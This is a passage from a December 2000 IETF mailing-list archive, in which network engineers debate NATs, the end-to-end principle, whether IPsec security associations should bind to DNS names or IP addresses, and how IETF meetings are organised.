NomadicLab, Ericsson Research +358 9 299 3078 FIN-02420 Jorvas, Finland +358 40 562 3066 ----------------------------------------------------------- From owner-ietf-outbound Tue Dec 19 09:10:34 2000 Received: by ietf.org (8.9.1a/8.9.1a) id JAA13802 for ietf-outbound.10@ietf.org; Tue, 19 Dec 2000 09:10:02 -0500 (EST) Received: from localhost.localdomain ([207.8.144.3]) by ietf.org (8.9.1a/8.9.1a) with SMTP id JAA13623 for ; Tue, 19 Dec 2000 09:01:28 -0500 (EST) Received: from ecal.com (localhost [127.0.0.1]) by localhost.localdomain (8.11.0/8.11.0) with ESMTP id eBJE5WI12688 for ; Tue, 19 Dec 2000 09:05:32 -0500 Sender: francis@localhost.localdomain Message-ID: <3A3F6B2C.2C026808@ecal.com> Date: Tue, 19 Dec 2000 09:05:32 -0500 From: John Stracke X-Mailer: Mozilla 4.75 [en] (X11; U; Linux 2.2.16-22 i586) X-Accept-Language: en, de, es MIME-Version: 1.0 To: ietf@ietf.org Subject: Re: WLAN References: Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Content-Transfer-Encoding: 7bit X-Loop: ietf@ietf.org Content-Transfer-Encoding: 7bit Teemu Rinta-aho wrote: > Thank you. That was nice service from Qualcomm, just too > bad there was no information of the wireless coverage > on the meeting web pages. It wasn't kept secret, though; they had a table set up in the Sheraton (opposite the social event/LAN card desk) with information. -- /=================================================================\ |John Stracke | http://www.ecal.com |My opinions are my own. | |Chief Scientist |================================================| |eCal Corp. |"The struggle is always worthwhile, if the end | |francis@ecal.com|be worthwhile and the means honorable; | | |foreknowledge of defeat is not sufficient reason| | |to withdraw from the contest." -- Adron | | |e'Kieron, by Steven Brust | \=================================================================/ From owner-ietf-outbound Tue Dec 19 09:20:16 2000 Received: by ietf.org (8.9.1a/8.9.1a) id JAA13987 for ietf-outbound.10@ietf.org; Tue, 19 Dec 2000 09:20:02 -0500 (EST) Received: from mail-blue.research.att.com (mail-blue.research.att.com [135.207.30.102]) by ietf.org (8.9.1a/8.9.1a) with SMTP id JAA13663 for ; Tue, 19 Dec 2000 09:02:24 -0500 (EST) Received: from postal.research.att.com (postal.research.att.com [135.207.23.30]) by mail-blue.research.att.com (Postfix) with ESMTP id 5CC704CE1D; Tue, 19 Dec 2000 09:02:25 -0500 (EST) Received: from smb.research.att.com (postal.research.att.com [135.207.23.30]) by postal.research.att.com (8.8.7/8.8.7) with ESMTP id JAA26488; Tue, 19 Dec 2000 09:02:23 -0500 (EST) Received: from smb.research.att.com (localhost.research.att.com [127.0.0.1]) by smb.research.att.com (Postfix) with ESMTP id D35DF35DC2; Tue, 19 Dec 2000 09:02:21 -0500 (EST) X-Mailer: exmh version 2.2 06/23/2000 with version: MH 6.8.3 #1[UCI] From: "Steven M. Bellovin" To: "Theodore Y. Ts'o" Cc: Mike Fisk , "Perry E. Metzger" , Keith Moore , Jon Crowcroft , smd@ebone.net, iab@isi.edu, ietf@ietf.org Subject: Re: NATs *ARE* evil! Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Tue, 19 Dec 2000 09:02:21 -0500 Sender: smb@research.att.com Message-Id: <20001219140221.D35DF35DC2@smb.research.att.com> X-Loop: ietf@ietf.org In message <200012190608.BAA02165@tsx-prime.MIT.EDU>, "Theodore Y. Ts'o" writes : > Date: Mon, 18 Dec 2000 14:45:08 -0800 (PST) > From: Mike Fisk > > Gateways that surreptitiously modify packets can break ANY end-to-end > protocol no matter what layer it's at. Assume that we sacrifice IP > addresses as not necessarily end-to-end. Fine, there are gateways that > need to modify your TCP ports too. Okay, sacrifice make it so ports > aren't covered by e2e assumptions like IPsec. Fine, there are gateways > that do ACK spoofing. Okay, sacrifice all header data and assume that > only payload is e2e. Whoops, even the payload has to be modified by some > gateways. The hypothesis that you can have these gateways and have > any part of the packet be guaranteed to be e2e is false. > > Given our inability to rule out the need for gateways that change IP > addresses (or other routing headers), this leads to the conclusion that > applications shouldn't use any header field (IP address, port, etc.) for > authentication. > >OK, in that case, we've completely thrown out the end-to-end principle, >and completely wiped out any possibility of IPSEC. If that's the world >we live in, where any part of the IP header can be subject to attack by >an intermediate attacker.... err, "service provider", then you shouldn't >be using IPSEC. You should be using TLS instead. > >It of course also means that no part of the IP header can be >authenticated in anyway, since it's of course all subject to change by >such gateways. While I wouldn't go quite that far, I've been saying for years that the IP header doesn't need any authentication if we have IPsec. To me, a host's identity is represented by its certificate (I'm speaking a bit loosely here); its IP address is merely the way that packets reach it. I could post my analysis of this again (it was originally written during the Stockholm IETF, in a note explaining why I thought AH was useless), but I don't think that this is the place for it. --Steve Bellovin From owner-ietf-outbound Tue Dec 19 09:30:20 2000 Received: by ietf.org (8.9.1a/8.9.1a) id JAA14256 for ietf-outbound.10@ietf.org; Tue, 19 Dec 2000 09:30:03 -0500 (EST) Received: from dcl.mit.edu (DCL.MIT.EDU [18.18.1.70]) by ietf.org (8.9.1a/8.9.1a) with SMTP id JAA13694 for ; Tue, 19 Dec 2000 09:02:51 -0500 (EST) Received: (from raeburn@localhost) by dcl.mit.edu (8.9.3) id JAA07350; Tue, 19 Dec 2000 09:02:52 -0500 (EST) To: ietf@ietf.org Subject: Re: NATs *ARE* evil! References: <200012190552.AAA02163@tsx-prime.MIT.EDU> Mime-Version: 1.0 From: Ken Raeburn Date: 19 Dec 2000 09:02:52 -0500 In-Reply-To: "Theodore Y. Ts'o"'s message of "Tue, 19 Dec 2000 00:52:35 -0500" Message-ID: Lines: 28 User-Agent: Gnus/5.070063 (Pterodactyl Gnus v0.63) Emacs/20.7 X-Loop: ietf@ietf.org "Theodore Y. Ts'o" writes: > Kerberos tried to deal with this problem by talking about "canonical > domain name", which it tried to define as being the name that you got > when you took a DNS name, forward resolved it to get an A address, and > then reverse-resolved it to get a DNS name. But this didn't work in > many cases, sometimes we got back an unqualified name, and in many cases > this scheme totally failed due to load balancing DNS servers, etc. I The MIT implementation does that, but I always thought that was just because certain gethostbyname implementations wouldn't return the canonical name (in the CNAME-processing sense) without doing this dance. Because of the server-cluster or load-balancing case, I've been thinking we should change it. The spec has never been quite that precise on this point; probably something we should fix for RFC1510bis. > suspect the reason is that as our domain name friends would tell us, > there is no such thing as a "canonical domain name" for a host. > Kerberos tried to invent such a concept, but it didn't work all that > well. I would much rather have some real IP-level endpoint identifier. > If that's what we're securing, that's what we should be using. If you get hosts with multiple addresses (or, under IPv6, multiple prefixes), an address-based identifier is still not unique. (And, unpleasantly enough, there are server implementations that split a single IP address across multiple machines.) Ken From owner-ietf-outbound Tue Dec 19 09:40:08 2000 Received: by ietf.org (8.9.1a/8.9.1a) id JAA14551 for ietf-outbound.10@ietf.org; Tue, 19 Dec 2000 09:40:02 -0500 (EST) Received: from Mail6.mgfairfax.rr.com (fe6.southeast.rr.com [24.93.67.53]) by ietf.org (8.9.1a/8.9.1a) with SMTP id JAA13860 for ; Tue, 19 Dec 2000 09:13:21 -0500 (EST) Received: from mosquito.inet.org ([24.168.212.166]) by Mail6.mgfairfax.rr.com with Microsoft SMTPSVC(5.5.1877.537.53); Tue, 19 Dec 2000 09:13:20 -0500 Message-Id: <5.0.0.25.2.20001219085922.009df8a0@gnat.inet.org> X-Sender: rja@gnat.inet.org X-Mailer: QUALCOMM Windows Eudora Version 5.0 Date: Tue, 19 Dec 2000 09:04:56 -0500 To: "Donald E. Eastlake 3rd" From: RJ Atkinson Subject: Re: naming Cc: ietf@ietf.org In-Reply-To: <200012190354.WAA27314@torque.pothole.com> References: Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" X-Loop: ietf@ietf.org At 22:54 18/12/00, Donald E. Eastlake 3rd wrote: >If DNSSEC were deployed, I see no reason why SAs >could not be bound to domain names. The semantics of an FQDN is not crisp and clear these days as is once was. For example, www.cnn.com names a set of content (served by an array of different server hosts with a front-end web widget), rather than naming a single given host. Unicast ESP/AH SAs have to be between pairs of hosts. So FQDNs can't quite do the trick, even with DNSSEC, in the general case. In certain special cases, where an FQDN does happen to map 1:1 to a host, then it might be used iff there were a way to distinguish that case from the murky case. (NB: my analysis above assumes that DNSSEC is widely deployed and ubiquitously available; in the current reality of very limited DNSSEC deployment, things aren't quite as nice as what I outline above). Cheers, Ran rja@inet.org From owner-ietf-outbound Tue Dec 19 10:00:13 2000 Received: by ietf.org (8.9.1a/8.9.1a) id KAA15126 for ietf-outbound.10@ietf.org; Tue, 19 Dec 2000 10:00:02 -0500 (EST) Received: from gungnir.fnal.gov (gungnir.fnal.gov [131.225.80.1]) by ietf.org (8.9.1a/8.9.1a) with SMTP id JAA14439 for ; Tue, 19 Dec 2000 09:36:07 -0500 (EST) Received: from gungnir.fnal.gov (localhost [127.0.0.1]) by gungnir.fnal.gov (8.9.1/8.9.1) with ESMTP id IAA06875; Tue, 19 Dec 2000 08:36:05 -0600 (CST) Message-Id: <200012191436.IAA06875@gungnir.fnal.gov> To: "Donald E. Eastlake 3rd" Cc: ietf@ietf.org From: "Matt Crawford" Subject: Re: NATs *ARE* evil! In-reply-to: Your message of Mon, 18 Dec 2000 22:54:47 EST. <200012190354.WAA27314@torque.pothole.com> Date: Tue, 19 Dec 2000 08:36:05 -0600 Sender: crawdad@gungnir.fnal.gov X-Loop: ietf@ietf.org > If DNSSEC were deployed, I see no reason why SAs could not be > bound to domain names. Well, there are all those load-distributing hacks -- Akamai and others. But I bet they could come up with a huge flesh-tone bandaid so you would continue not to notice. On a good day. From owner-ietf-outbound Tue Dec 19 10:10:12 2000 Received: by ietf.org (8.9.1a/8.9.1a) id KAA15545 for ietf-outbound.10@ietf.org; Tue, 19 Dec 2000 10:10:03 -0500 (EST) Received: from Mail6.mgfairfax.rr.com (fe6.southeast.rr.com [24.93.67.53]) by ietf.org (8.9.1a/8.9.1a) with SMTP id JAA14456 for ; Tue, 19 Dec 2000 09:36:26 -0500 (EST) Received: from mosquito.inet.org ([24.168.212.166]) by Mail6.mgfairfax.rr.com with Microsoft SMTPSVC(5.5.1877.537.53); Tue, 19 Dec 2000 09:36:27 -0500 Message-Id: <5.0.0.25.2.20001219090808.009ef9e0@gnat.inet.org> X-Sender: rja@gnat.inet.org X-Mailer: QUALCOMM Windows Eudora Version 5.0 Date: Tue, 19 Dec 2000 09:28:02 -0500 To: ietf@ietf.org From: RJ Atkinson Subject: IETF logistics Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" X-Loop: ietf@ietf.org Folks, Some compare/contrast about then and now, followed by some (perhaps radical) thoughts to ponder. I'm NOT interested in quibbles about the timeframe for THEN or minor differences in perception about either THEN or NOW, so I'll ignore any troll-like responses. This is intended as a very high-level set of comments -- high-level necessarily implies a certain lack of crispness. THEN: - Presentations at IETF normally did NOT rehash material available in the I-Ds in tutorial style. - Viewgraphs were hand-scribbled the night before, often after some lobby bof before the meeting. - More people read the I-Ds before the meeting, though there was griping about inadequate preparation then also. - Working Group sessions actually did work, designing in real-time, discussing technical issues in real-time, resolving open technical issues in a higher bandwidth environment. - Interim WG meetings were rare. - Folks who had read the drafts could generally get into and participate in meetings of interest. NOW: - Presentations mostly do rehash material in the I-Ds - Viewgraphs with fancy cartoon graphics, company logos, that required lots of time to create the week before the meeting are shown. - Few people (as a percentage of WG attendees) have actually read the I-Ds beforehand, relying instead on the presentations. - Working Group sessions are mostly educational overviews, without significant real-time discussion or resolution of technical issues. - Interim WG meetings are much more frequent, in part because only people deeply interested in the topic bother to travel for such meetings. - Folks who have read the drafts often cannot get into the meetings they have prepared for. I had abysmal luck at actually attending sessions where I had read the drafts and am actually involved in implementation or use of a specification. In the short term, IETF have signed contracts for 3 meetings per year. We don't want to break any existing contracts. What we can do for future IETFs is make the current sporadic practice of reserving the front few rows of seats for folks who have actually read the drafts and are involved in implementation. We can also end the de facto practice of using the sessions as tutorials and discontinue fancy prepared presentations of the material already in the I-Ds. While tutorials are a fine thing, they are appropriate for USENIX or Interop, not IETF WG sessions, IMHO. However, I'd like to propose that we experiment with only having 2 all-area IETF meetings per year when we can do so without breaking any contracts. Further, I'd suggest that each area would have the option (discretion of the relevant ADs) of having a single Area Meeting someplace. This would last only perhaps 2 days. It could be held at a rather larger number of venues (due to smaller attendance) -- a college/university or large corporate location might well be a very good choice for such a meeting. In addition, WGs ought to be encouraged to hold at least one WG interim meeting per year, to provide a vehicle for meaty discussion of technical issues by folks who are current in the WG, involved in implementation or deployment of that WG's material, and so forth. Sincerely, Ran rja@inet.org From owner-ietf-outbound Tue Dec 19 10:20:29 2000 Received: by ietf.org (8.9.1a/8.9.1a) id KAA15805 for ietf-outbound.10@ietf.org; Tue, 19 Dec 2000 10:20:02 -0500 (EST) Received: from cs.columbia.edu (cs.columbia.edu [128.59.16.20]) by ietf.org (8.9.1a/8.9.1a) with SMTP id JAA14462 for ; Tue, 19 Dec 2000 09:36:37 -0500 (EST) Received: from cs.columbia.edu (bart.cs.columbia.edu [128.59.19.191]) by cs.columbia.edu (8.9.3/8.9.3) with ESMTP id JAA04010; Tue, 19 Dec 2000 09:36:23 -0500 (EST) Sender: hgs@cs.columbia.edu Message-ID: <3A3F7268.FA144F6C@cs.columbia.edu> Date: Tue, 19 Dec 2000 09:36:24 -0500 From: "Henning G. Schulzrinne" Organization: Dept. of Computer Science, Columbia University X-Mailer: Mozilla 4.75 [en] (X11; U; SunOS 5.7 sun4u) X-Accept-Language: en MIME-Version: 1.0 To: Tripp Lilley CC: Matthew Goldman , ietf@ietf.org Subject: Re: 49th-IETF conf room planning References: Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Content-Transfer-Encoding: 7bit X-Loop: ietf@ietf.org Content-Transfer-Encoding: 7bit Tripp Lilley wrote: > > On Mon, 18 Dec 2000, Matthew Goldman wrote: > > > I also disagree with you regarding hotel rates. Pre-negotiated block rates > > for meetings are around the same price as we paid in San Diego for a similar > > type of hotel (clearly, Vegas hotels are both much better than and much > > worse than the Sheraton San Diego). The only time hotel rooms are extremely > > high is for major expositions -- like Comdex, Consumer Electronics Show, etc > > -- because those rooms are not booked as blocks. The hotels jack up the > > prices for those weeks. I've been to Vegas on a non-convention week and got > > a hotel room for $70/night vs. $180/night for the same room during Comdex. > > It would be up to the IETF to negotiate for 2000-3000 rooms; that's a lot of > > buying power. If they can't get reasonable rates, then we don't go there. > > Actually, geek conferences get the shaft in Vegas, because Vegas is wise > to the fact that geeks, knowing the odds, are much less likely to gamble. > That's why Comdex, Interop, and so forth, get such high hotel rates. Now, > if we assured them that IETF stands for "International Eaters of Tasty > Food", or similar, we might get a break... And we can point to the > frequent mention of "many fine lunches and dinners" in _Exploring the > Internet_ as substantiation. Or we explain to them that we're updating RFC 1750 to include roulette, blackjack and one-armed bandits as sources of randomness. -- Henning Schulzrinne http://www.cs.columbia.edu/~hgs From owner-ietf-outbound Tue Dec 19 10:30:16 2000 Received: by ietf.org (8.9.1a/8.9.1a) id KAA16023 for ietf-outbound.10@ietf.org; Tue, 19 Dec 2000 10:30:02 -0500 (EST) Received: from astro.cs.utk.edu (ASTRO.CS.UTK.EDU [128.169.93.168]) by ietf.org (8.9.1a/8.9.1a) with SMTP id JAA14575 for ; Tue, 19 Dec 2000 09:40:22 -0500 (EST) Received: from astro.cs.utk.edu (ASTRO.CS.UTK.EDU [128.169.93.168]) by astro.cs.utk.edu (cf 8.9.3) with ESMTP id JAA07169; Tue, 19 Dec 2000 09:40:15 -0500 (EST) Message-Id: <200012191440.JAA07169@astro.cs.utk.edu> X-URI: http://www.cs.utk.edu/~moore/ From: Keith Moore To: "Theodore Y. Ts'o" cc: "Donald E. Eastlake 3rd" , ietf@ietf.org Subject: Re: NATs *ARE* evil! In-reply-to: Your message of "Tue, 19 Dec 2000 00:52:35 EST." <200012190552.AAA02163@tsx-prime.MIT.EDU> Date: Tue, 19 Dec 2000 09:39:00 -0500 Sender: moore@cs.utk.edu X-Loop: ietf@ietf.org > there is no such thing as a "canonical domain name" for a host. > Kerberos tried to invent such a concept, but it didn't work all that > well. I would much rather have some real IP-level endpoint identifier. > If that's what we're securing, that's what we should be using. mumble. as far as I can tell, both DNS names and IP addresses are hopelessly overloaded and are likely to stay that way until we figure out how to make a major architectural change. I get amused when layer 3 folks tell me that overloading of IP addresses is bad and that we therefore need to overload DNS names even more. But it doesn't make any more sense to me to increase the overloading of IP addresses (which are fundamentally names of locations of network attachment points - all other uses are in some sense overloading) in order to reduce overloading of DNS names. it seems to me that if you want to authenticate to a specific host then you need to use an identifier that is uniquely associated with that host, like the hosts's serial number, so I'd want to have certificates that could associate that serial number with a key. but in most cases (at least from an apps guy's view of the world) I don't care about any particular host - what I want to authenticate is a service, and it could be on any hosts. in such cases I want to use the service name (which in today's world is usually a DNS name) as the authentication identifier. I could probably make a case for authenticating to IP addresses also, but for me this is the most difficult one to justify. bottom line is I think we have a need for SAs to be bindable to several different kinds of identifiers. I question the notion that IPsec should be "security at the IP layer" because to me IP is only a way of moving payload from one place to another - it has little to do with the services that humans care about and in whose identities they need to trust. Keith From owner-ietf-outbound Tue Dec 19 10:40:22 2000 Received: by ietf.org (8.9.1a/8.9.1a) id KAA16276 for ietf-outbound.10@ietf.org; Tue, 19 Dec 2000 10:40:03 -0500 (EST) Received: from stack.hamachi.org (sommerfeld.ne.mediaone.net [24.147.212.81]) by ietf.org (8.9.1a/8.9.1a) with SMTP id JAA14625 for ; Tue, 19 Dec 2000 09:41:30 -0500 (EST) Received: from syn.hamachi.org (orchard.hamachi.org [4.255.0.98]) by stack.hamachi.org (Postfix) with ESMTP id 9003B278C; Tue, 19 Dec 2000 09:41:27 -0500 (EST) Received: from syn.hamachi.org (localhost [[UNIX: localhost]]) by syn.hamachi.org (8.11.0/8.8.8) with ESMTP id eBJEfFg04800; Tue, 19 Dec 2000 09:41:15 -0500 (EST) Message-Id: <200012191441.eBJEfFg04800@syn.hamachi.org> From: Bill Sommerfeld To: "Theodore Y. Ts'o" Cc: "Donald E. Eastlake 3rd" , ietf@ietf.org Subject: Re: NATs *ARE* evil! In-Reply-To: Message from "Theodore Y. Ts'o" of "Tue, 19 Dec 2000 00:52:35 EST." <200012190552.AAA02163@tsx-prime.MIT.EDU> Reply-To: sommerfeld@orchard.arlington.ma.us Date: Tue, 19 Dec 2000 09:41:15 -0500 Sender: wes@orchard.arlington.ma.us X-Loop: ietf@ietf.org > If DNSSEC were deployed, I see no reason why SAs could not be > bound to domain names. > > I disagree. IPSEC is about Security at the IP layer, and that means we > need a security association which is tied to an object which is > addressable at the IP layer --- an IP address. except that, 99% of the time, the address is obtained from DNS, and, realistically, you care more about the authenticated identity of the peer than its address.. > A DNS name doesn't qualify; a single DNS name can resolve to many > different IP addresses, potentially representing multiple different > hosts. Some people do this for load-balancing purposes (to Randy Bushes > infinite digust, but this is the reality). > > Also, riddle me this: What host is addressed by the DNS name > a456.g.akamai.net? For me at home, it happens to be 207.87.18.169. > Except when I'm logged into MIT, when it's *either* 18.7.0.12 *or* > 18.7.0.10. Betcha it's different for you. :-) "any problem in CS can be solved by adding another level of indirection". If we were to use the DNS name as the identity at each end of the SA, a456.g.akamai.net could turn into a CNAME pointing at the "real" server... And it might not matter ... from the point of view of the *services* provided, regardless of *which* instance of a456.g.akamai.net you connect to, you get the same data... it's just another face of the greater akamai distributed hive mind. [I assume that for operational/management purposes, akamai has per-replica names which are different from the ones given out in akamaized url's]. - Bill From owner-ietf-outbound Tue Dec 19 10:50:15 2000 Received: by ietf.org (8.9.1a/8.9.1a) id KAA16511 for ietf-outbound.10@ietf.org; Tue, 19 Dec 2000 10:50:02 -0500 (EST) Received: from sean.ebone.net (IDENT:postfix@sean.ebone.net [195.158.227.211]) by ietf.org (8.9.1a/8.9.1a) with SMTP id JAA14738 for ; Tue, 19 Dec 2000 09:46:49 -0500 (EST) Received: by sean.ebone.net (Postfix, from userid 1113) id 0087F899; Tue, 19 Dec 2000 15:46:49 +0100 (CET) To: smb@research.att.com, tytso@mit.edu Subject: Re: NATs *ARE* evil! Cc: iab@isi.edu, ietf@ietf.org, J.Crowcroft@CS.UCL.AC.UK, mfisk@lanl.gov, moore@cs.utk.edu, perry@piermont.com, smd@ebone.net Message-Id: <20001219144649.0087F899@sean.ebone.net> Date: Tue, 19 Dec 2000 15:46:49 +0100 (CET) From: smd@ebone.net (Sean Doran) X-Loop: ietf@ietf.org Steve Bellovin, on IPSEC, not-AH: | [A] host's identity is represented by its certificate (I'm speaking a bit | loosely here); its IP address is merely the way that packets reach it. This is an example of two separate namespaces that allow one to distinguish between "who" and "where". That the network layer can be rewritten to the point of total protocol substitution without interfering with the identification of who sent it is a feature, adding enormous flexibility into the development of network features. That IPSEC can preserve the end-to-end integrity of the the application-to-application data even in a rabidly-rewriting environment makes one wonder why people are so fanatical about preventing that rewriting at all! (The important thing is that one knows that "Steve's Machine" sent a packet that happened to arrive with a particular source address, which for a while can be used to send replies back to "Steve's Machine"). The only tricky thing here is having a "who" <-> "where" translation readily available to the host. Sean. P.S.: Incidentally, I have no trouble whatsoever with the concept of a last-hop-router before a host that can distinguish "who" "where" being presented with a permanent, deterministic association between the two. I also have no problem with the last-hop-router moving "corewards" even several hops. The thing I want to prevent is the requirement that ALL routers provide such a deterministic permanent mapping between the two, because ultimately that makes the Internet more expensive for everyone to use over time. (It also makes a non-dual-stack transition to a new Internet protocol much harder on the host side, and a non-ships-in-the-night deployment in routers nearly impossible). From owner-ietf-outbound Tue Dec 19 11:00:17 2000 Received: by ietf.org (8.9.1a/8.9.1a) id LAA16811 for ietf-outbound.10@ietf.org; Tue, 19 Dec 2000 11:00:03 -0500 (EST) Received: from joy.songbird.com (IDENT:root@songbird.com [208.184.79.7]) by ietf.org (8.9.1a/8.9.1a) with SMTP id JAA15000 for ; Tue, 19 Dec 2000 09:54:24 -0500 (EST) Received: from dcrocker.dcrocker.net (node-64-145-172-82.dslspeed.zyan.com [64.145.172.82]) by joy.songbird.com (8.9.3/8.9.3) with ESMTP id GAA26141; Tue, 19 Dec 2000 06:54:23 -0800 Message-Id: <5.0.1.4.2.20001219064635.03e5d870@joy.songbird.com> X-Sender: dhc2@joy.songbird.com X-Mailer: QUALCOMM Windows Eudora Version 5.0.1 Date: Tue, 19 Dec 2000 06:54:31 -0800 To: iab@iab.org, ietf@ietf.org From: Dave Crocker Subject: levels of end-to-end; lack thereof In-Reply-To: <200012190608.BAA02165@tsx-prime.MIT.EDU> References: Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii"; format=flowed X-Loop: ietf@ietf.org At 01:08 AM 12/19/00 -0500, Theodore Y. Ts'o wrote: >OK, in that case, we've completely thrown out the end-to-end principle, >... then you shouldn't >be using IPSEC. You should be using TLS instead. Unfortunately, the production Internet (ie, since 1983) has never been fully end-to-end at the IP layer. Never. Arguably it has never been end-to-end at the application layer, either, nor even application-layer data. Gateways have always been a part of the Internet. We have simply chosen to ignore them, except for the case of email (smtp/x.400). It's fine to create a clean architecture, but not very helpful to ignore or complain about market-driven extensions (or work-arounds, or...) to it. Folks -- people would not be making those extensions unless they experienced benefit in them. We claim to believe that the market is the ultimate venue for resolving choice among standards. We need to acknowledge that that applies to missing standards, as well as competing standards. =-=-=-=-= Dave Crocker Brandenburg Consulting Tel: +1.408.246.8253, Fax: +1.408.273.6464 From owner-ietf-outbound Tue Dec 19 11:10:21 2000 Received: by ietf.org (8.9.1a/8.9.1a) id LAA17089 for ietf-outbound.10@ietf.org; Tue, 19 Dec 2000 11:10:03 -0500 (EST) Received: from sean.ebone.net (IDENT:postfix@sean.ebone.net [195.158.227.211]) by ietf.org (8.9.1a/8.9.1a) with SMTP id JAA15008 for ; Tue, 19 Dec 2000 09:54:42 -0500 (EST) Received: by sean.ebone.net (Postfix, from userid 1113) id 6BD27898; Tue, 19 Dec 2000 15:54:43 +0100 (CET) To: dee3@torque.pothole.com, rja@inet.org Subject: Re: naming Cc: ietf@ietf.org Message-Id: <20001219145443.6BD27898@sean.ebone.net> Date: Tue, 19 Dec 2000 15:54:43 +0100 (CET) From: smd@ebone.net (Sean Doran) X-Loop: ietf@ietf.org Ran Atkinson writes: | The semantics of an FQDN is not crisp and clear | these days as is once was. Wow, your memory must be better than mine if you remember crispness & clarity. :-) | For example, www.cnn.com names a set of content | rather than naming a single given host. | | Unicast ESP/AH SAs have to be between pairs of hosts. It's down to what kind of "who" you want to represent; I think it is reasonable to have more than one "who" namespace, allowing one to find a particular application (the web server that will cough up CNN's news, or the mail server that will receive mail for Ran Atkinson) as well as a particular host. This, moreover, makes application migration easier to deal with. Again, the trick is to be able to do a symmetrical mapping between "who-application" and "who-host". Here's a question for you: given these two namespaces (one being hypothetical), which one will find more common use by _you_? | So FQDNs can't quite do the trick, even with DNSSEC I think the argument goes that a DNS-like distributed database is a good idea, and that the DNS can be munged into doing the work initially without enormous effort. Yes, this means a different namespace or two beyond the "IN" one, but is that a big deal? | (NB: my analysis above assumes that DNSSEC is widely deployed | and ubiquitously available; in the current reality of very limited | DNSSEC deployment, things aren't quite as nice as what | I outline above). Well, so who wants to write a resolver that makes use of Jon Crowcroft's idea on replacing the existing DNS lookup mechanism? Sean. From owner-ietf-outbound Tue Dec 19 11:20:08 2000 Received: by ietf.org (8.9.1a/8.9.1a) id LAA17264 for ietf-outbound.10@ietf.org; Tue, 19 Dec 2000 11:20:02 -0500 (EST) Received: from melimelo.enst-bretagne.fr (melimelo.enst-bretagne.fr [192.108.115.36]) by ietf.org (8.9.1a/8.9.1a) with SMTP id KAA16409 for ; Tue, 19 Dec 2000 10:43:55 -0500 (EST) Received: from rsm.rennes.enst-bretagne.fr (rsm.rennes.enst-bretagne.fr [192.44.77.1]) by melimelo.enst-bretagne.fr (8.10.1/8.10.1) with ESMTP id eBJFfj440658; Tue, 19 Dec 2000 16:41:45 +0100 Received: from givry.rennes.enst-bretagne.fr (givry.rennes.enst-bretagne.fr [193.52.74.194]) by rsm.rennes.enst-bretagne.fr (8.8.8/8.8.8) with ESMTP id QAA02723; Tue, 19 Dec 2000 16:41:44 +0100 (MET) Received: from givry.rennes.enst-bretagne.fr (localhost.rennes.enst-bretagne.fr [127.0.0.1]) by givry.rennes.enst-bretagne.fr (8.9.3/8.9.3) with ESMTP id QAA16912; Tue, 19 Dec 2000 16:43:32 +0100 (CET) (envelope-from dupont@givry.rennes.enst-bretagne.fr) Message-Id: <200012191543.QAA16912@givry.rennes.enst-bretagne.fr> From: Francis Dupont To: "Steven M. Bellovin" cc: "Theodore Y. Ts'o" , Mike Fisk , "Perry E. Metzger" , Keith Moore , Jon Crowcroft , smd@ebone.net, iab@isi.edu, ietf@ietf.org Subject: Re: NATs *ARE* evil! In-reply-to: Your message of Tue, 19 Dec 2000 09:02:21 EST. <20001219140221.D35DF35DC2@smb.research.att.com> Date: Tue, 19 Dec 2000 16:43:32 +0100 Sender: Francis.Dupont@enst-bretagne.fr X-Loop: ietf@ietf.org In your previous mail you wrote: While I wouldn't go quite that far, I've been saying for years that the IP header doesn't need any authentication if we have IPsec. => this is not true for IPv6 extension headers or IPv4 options. ... in a note explaining why I thought AH was useless => you can argue this for IPv4, not for IPv6 where extension headers are really used. Many times some of us tried to remove AH, many times we vote to keep it: this topics should be in the "oh not this again" list of IETF and IPsec mailing lists. Regards Francis.Dupont@enst-bretagne.fr PS: "NATs are evil" should be in too (:-)! From owner-ietf-outbound Tue Dec 19 11:30:16 2000 Received: by ietf.org (8.9.1a/8.9.1a) id LAA17542 for ietf-outbound.10@ietf.org; Tue, 19 Dec 2000 11:30:03 -0500 (EST) Received: from shultz.argon.com (shultz.argon.com [208.234.161.2]) by ietf.org (8.9.1a/8.9.1a) with SMTP id KAA16731 for ; Tue, 19 Dec 2000 10:56:35 -0500 (EST) Received: from fkastenholzpc.unispherenetworks.com (dhcp1.argon.com [208.234.161.16]) by shultz.argon.com (8.10.0/8.10.0) with ESMTP id eBJFtr102994; Tue, 19 Dec 2000 10:55:53 -0500 (EST) Message-Id: <5.0.0.25.2.20001219110316.00a83680@schultz.argon.com> X-Sender: kasten@schultz.argon.com X-Mailer: QUALCOMM Windows Eudora Version 5.0 Date: Tue, 19 Dec 2000 11:07:53 -0500 To: RJ Atkinson , ietf@ietf.org From: Frank Kastenholz Subject: Re: IETF logistics In-Reply-To: <5.0.0.25.2.20001219090808.009ef9e0@gnat.inet.org> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" X-Loop: ietf@ietf.org At 09:28 AM 12/19/00 -0500, RJ Atkinson wrote: >We can also end the de facto practice of >using the sessions as tutorials and discontinue fancy prepared >presentations of the material already in the I-Ds. While >tutorials are a fine thing, they are appropriate for USENIX >or Interop, not IETF WG sessions, IMHO. I tried doing this in my area when I was on the IESG. It didn't work. The chairs and attendees want this stuff. > Further, I'd suggest that each area would have the >option (discretion of the relevant ADs) of having a single >Area Meeting someplace. This would last only perhaps 2 days. >It could be held at a rather larger number of venues >(due to smaller attendance) I do not believe that this would work. Too many people just go to see what's going on and be there in case "something important" happens. If you have a meeting, they will go. I believe that the only choices are - limit attendance to "the right people" or - accept the tourists and panda-watchers and that the IETF meeting has evolved. Frank Kastenholz From owner-ietf-outbound Tue Dec 19 11:50:12 2000 Received: by ietf.org (8.9.1a/8.9.1a) id LAA18023 for ietf-outbound.10@ietf.org; Tue, 19 Dec 2000 11:50:02 -0500 (EST) Received: from zcars04e.ca.nortel.com (h56s242a129n47.user.nortelnetworks.com [47.129.242.56]) by ietf.org (8.9.1a/8.9.1a) with SMTP id LAA16969 for ; Tue, 19 Dec 2000 11:06:54 -0500 (EST) Received: from zcard00m.ca.nortel.com by zcars04e.ca.nortel.com; Tue, 19 Dec 2000 11:06:00 -0500 Received: from rftzy232.ca.nortel.com ([47.130.185.32]) by zcard00m.ca.nortel.com with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2652.39) id Y97TS8JD; 